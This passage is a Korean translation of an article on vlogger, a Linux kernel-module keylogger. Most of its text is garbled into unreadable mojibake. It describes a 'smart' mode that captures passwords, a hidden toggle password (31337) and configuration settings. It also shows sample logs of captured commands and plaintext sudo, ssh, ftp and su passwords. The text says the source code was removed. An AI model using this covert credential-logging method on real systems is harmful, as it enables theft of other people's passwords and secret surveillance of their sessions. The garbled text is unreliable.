µ¥ÀÌÅ͸¦ °¡Á®¿Í¼­ ) Ç¥ÁØ ½Ã°£´ë¸¦ Áö¿øÇϸç À̸¦ ÀÌ¿ëÇÏ¿© Logging ½Ã°£ À» ÀúÀåÇØÁÝ´Ï´Ù. - ´ÙÁß ·Î±ë ¸ðµå o Dumb ¸ðµå : Å°¸¦ ´©¸£´Â ¸ðµç µ¿ÀÛÀ» ±â·ÏÇÕ´Ï´Ù. o Smart ¸ðµå : Æнº¿öµåÀԷ½à ÀÚµ¿À¸·Î user id ¿Í Æнº¿öµå¸¦ ÀúÀåÇØÁÝ´Ï´Ù. Solar Designer and Dug Song[6] °¡ ÀûÀº "Passive Analysis of SSH (Secure Shell) Traffic " À̶õ ±Û¿¡¼­ ¾´ ¹æ¹ý°ú À¯»çÇÑ ¹æ¹ýÀ» ½è´Âµ¥, ÇÁ·Î±×·¥¿¡¼­ ¿¡ÄÚ±â´É(Å°¸¦ ´­·¶À» ¶§, ±× ¹®ÀÚ°¡ console¿¡ ÃÄ Áö´Â °ÍÀ» ¸»ÇÔ)À» ²¨ ¹ö¸° °ÍÀ» Æнº¿öµå°¡ ÀÔ·Â µÉ °ÍÀ̶ó°í »ý°¢ÇÏ´Â °Ì´Ï´Ù. o Normal ¸ðµå : Å° ·Î±× ±â·ÏÀ» ²ü´Ï´Ù. Æнº¿öµå¸¦ ÁöÁ¤Çؼ­ ·Î±ë ¸ðµå¸¦ Ä×´Ù ²°´Ù Çϱâ #define VK_TOGLE_CHAR 29 // CTRL-] #define MAGIC_PASS "31337" // ¸ðµå Á¶ÀýÇÒ ¶§, PASS Å° Type ¼³Á¤ (%¿ªÀÚÁÖ%) ex> 31337 À» Ä£ »óÅ¿¡¼­ CTRL - ] ¸¦ Ä¡¸é ¸ðµå°¡ º¯È­ÇÕ´Ï´Ù :) ----[ 4.3 - ¾î¶»°Ô »ç¿ëÇϴ°¡? ¾Æ·¡¿Í °°ÀÌ ¿É¼ÇÀ» ¹Ù²Ù¾î ÁֽʽÿÀ. // log ÆÄÀÏÀÌ ÀúÀåµÇ´Â µð·ºÅ丮 Á¤Çϱâ #define LOG_DIR "/tmp/log" //»ç´Â °÷ÀÇ ½Ã°£´ë¸¦ ÁöÁ¤Çϱâ %¿ªÀÚÁÖ% Çѱ¹Àº GMT+9 À̶ó´Â ¾Æ½ÃÁÒ : ) #define TIMEZONE 7*60*60 // GMT+7 // Magic Pass Á¤Çϱâ #define MAGIC_PASS "31337" ¾Æ·¡¿Í °°ÀÌ Çϸé log file À» º¼ ¼ö ÀÖÀ» °Ì´Ï´Ù. [root@localhost log]# ls -l total 60 -rw------- 1 root root 633 Jun 19 20:59 pass.log -rw------- 1 root root 37593 Jun 19 18:51 pts11 -rw------- 1 root root 56 Jun 19 19:00 pts20 -rw------- 1 root root 746 Jun 19 20:06 pts26 -rw------- 1 root root 116 Jun 19 19:57 pts29 -rw------- 1 root root 3219 Jun 19 21:30 tty1 -rw------- 1 root root 18028 Jun 19 20:54 tty2 ---in dumb ¸ðµå [root@localhost log]# head tty2 // ·ÎÄà Á¢¼Ó <19/06/2002-20:53:47 uid=501 bash> pwd <19/06/2002-20:53:51 uid=501 bash> uname -a <19/06/2002-20:53:53 uid=501 bash> lsmod <19/06/2002-20:53:56 uid=501 bash> pwd <19/06/2002-20:54:05 uid=501 bash> cd /var/log <19/06/2002-20:54:13 uid=501 bash> tail messages <19/06/2002-20:54:21 uid=501 bash> cd ~ <19/06/2002-20:54:22 uid=501 bash> ls <19/06/2002-20:54:29 uid=501 bash> tty <19/06/2002-20:54:29 uid=501 bash> [UP] [root@localhost log]# tail pts11 // ¿ø°Ý Á¢¼Ó <19/06/2002-18:48:27 uid=0 bash> cd new <19/06/2002-18:48:28 uid=0 bash> cp -p ~/code . <19/06/2002-18:48:21 uid=0 bash> lsmod <19/06/2002-18:48:27 uid=0 bash> cd /va[TAB][^H][^H]tmp/log/ <19/06/2002-18:48:28 uid=0 bash> ls -l <19/06/2002-18:48:30 uid=0 bash> tail pts11 <19/06/2002-18:48:38 uid=0 bash> [UP] | more <19/06/2002-18:50:44 uid=0 bash> vi vlogertxt <19/06/2002-18:50:48 uid=0 vi> :q <19/06/2002-18:51:14 uid=0 bash> rmmod vlogger --- smart ¸ðµå [root@localhost log]# cat pass.log [19/06/2002-18:28:05 tty=pts/20 uid=501 sudo] USER/CMD sudo traceroute yahoo.com PASS 5hgt6d PASS [19/06/2002-19:59:15 tty=pts/26 uid=0 ssh] USER/CMD ssh guest@host.com PASS guest [19/06/2002-20:50:44 tty=pts/29 uid=504 ftp] USER/CMD open ftp.ilog.fr USER Anonymous PASS heh@heh [19/06/2002-20:59:54 tty=pts/29 uid=504 su] USER/CMD su - PASS asdf1234 ÀÌ Åø¿¡ °üÇÑ »õ·Î¿î Á¤º¸°¡ http://www.thehackerschoice.com/ ¿¡ Update µÇ¾ú´ÂÁö ²À È®ÀÎÇØ ÁÖ¼¼¿ä. (%¿ªÀÚÁÖ% »çÀÌÆ® ±¤°íÇϴ°Š°°¾Ö ¤Ñ¤Ñ;; ) --[ 5 ? °¨»çÀÇ ±Û plasmoild, skyper ¿Í ¾ÆÁÖ À¯ÀÍÇÑ comment¸¦ ÇØÁֽŠTHC, vnsecurity¿Í ¸ðµç Ä£±¸ µé ¿¡°Ô °¨»çµå¸®¸ç, ÀûÀýÇÑ ¿µ¾î·Î ¼öÁ¤ÇØÁֽŠmr.thang ¿¡°Ô °¨»çÀÇ ¸»¾¸À» µå¸³´Ï´Ù. (%¿ªÀÚÁÖ% ºÎÀûÀýÇÏ°Ô ¹ø¿ªÇØÁØ ³ªÇÑÅ×´Â °¨»ç ¾ÈÇϳ¶ ¤Ñ¤Ñ;;) --[ 6 ? Âü°í¹®Çå [1] Linux Kernel Module Programming http://www.tldp.org/LDP/lkmpg/ [2] Complete Linux Loadable Kernel Modules - Pragmatic ¡¡¡¡http://www.thehackerschoice.com/papers/LKM_HACKING.html [3] The Linux Å°º¸µå driver - Andries Brouwer http://www.linuxjournal.com/lj-issues/issue14/1080.html [4] Abuse of the Linux Kernel for Fun and Profit - Halflife http://www.phrack.com/phrack/50/P50-05 [5] Kernel function hijacking - Silvio Cesare http://www.big.net.au/~silvio/kernel-hijack.txt [6] Passive Analysis of SSH (Secure Shell) Traffic - Solar Designer http://www.openwall.com/advisories/OW-003-ssh-traffic-analysis.txt [7] Kernel Based Keylogger - Mercenary http://packetstorm.decepticons.org/UNIX/security/kernel.keylogger.txt --[ 7 ? Keylogger ¼Ò½º * ¸¶Áö¸· ¼Ò½º ÄÚµå ºÎºÐÀº ¾Ç¿ëÀÇ ¼ÒÁö°¡ Àֱ⠶§¹®¿¡ ÀÓÀÇ·Î »èÁ¦ÇÏ¿´½À´Ï´Ù. ÀÌ ºÎºÐ¿¡ ´ëÇÑ ÀÚ·á´Â ¿ø¹® µîÀ» Á÷Á¢ °Ë»öÇÏ¿© Âü°íÇÏ½Ã±æ ¹Ù¶ó°Ú½À´Ï´Ù.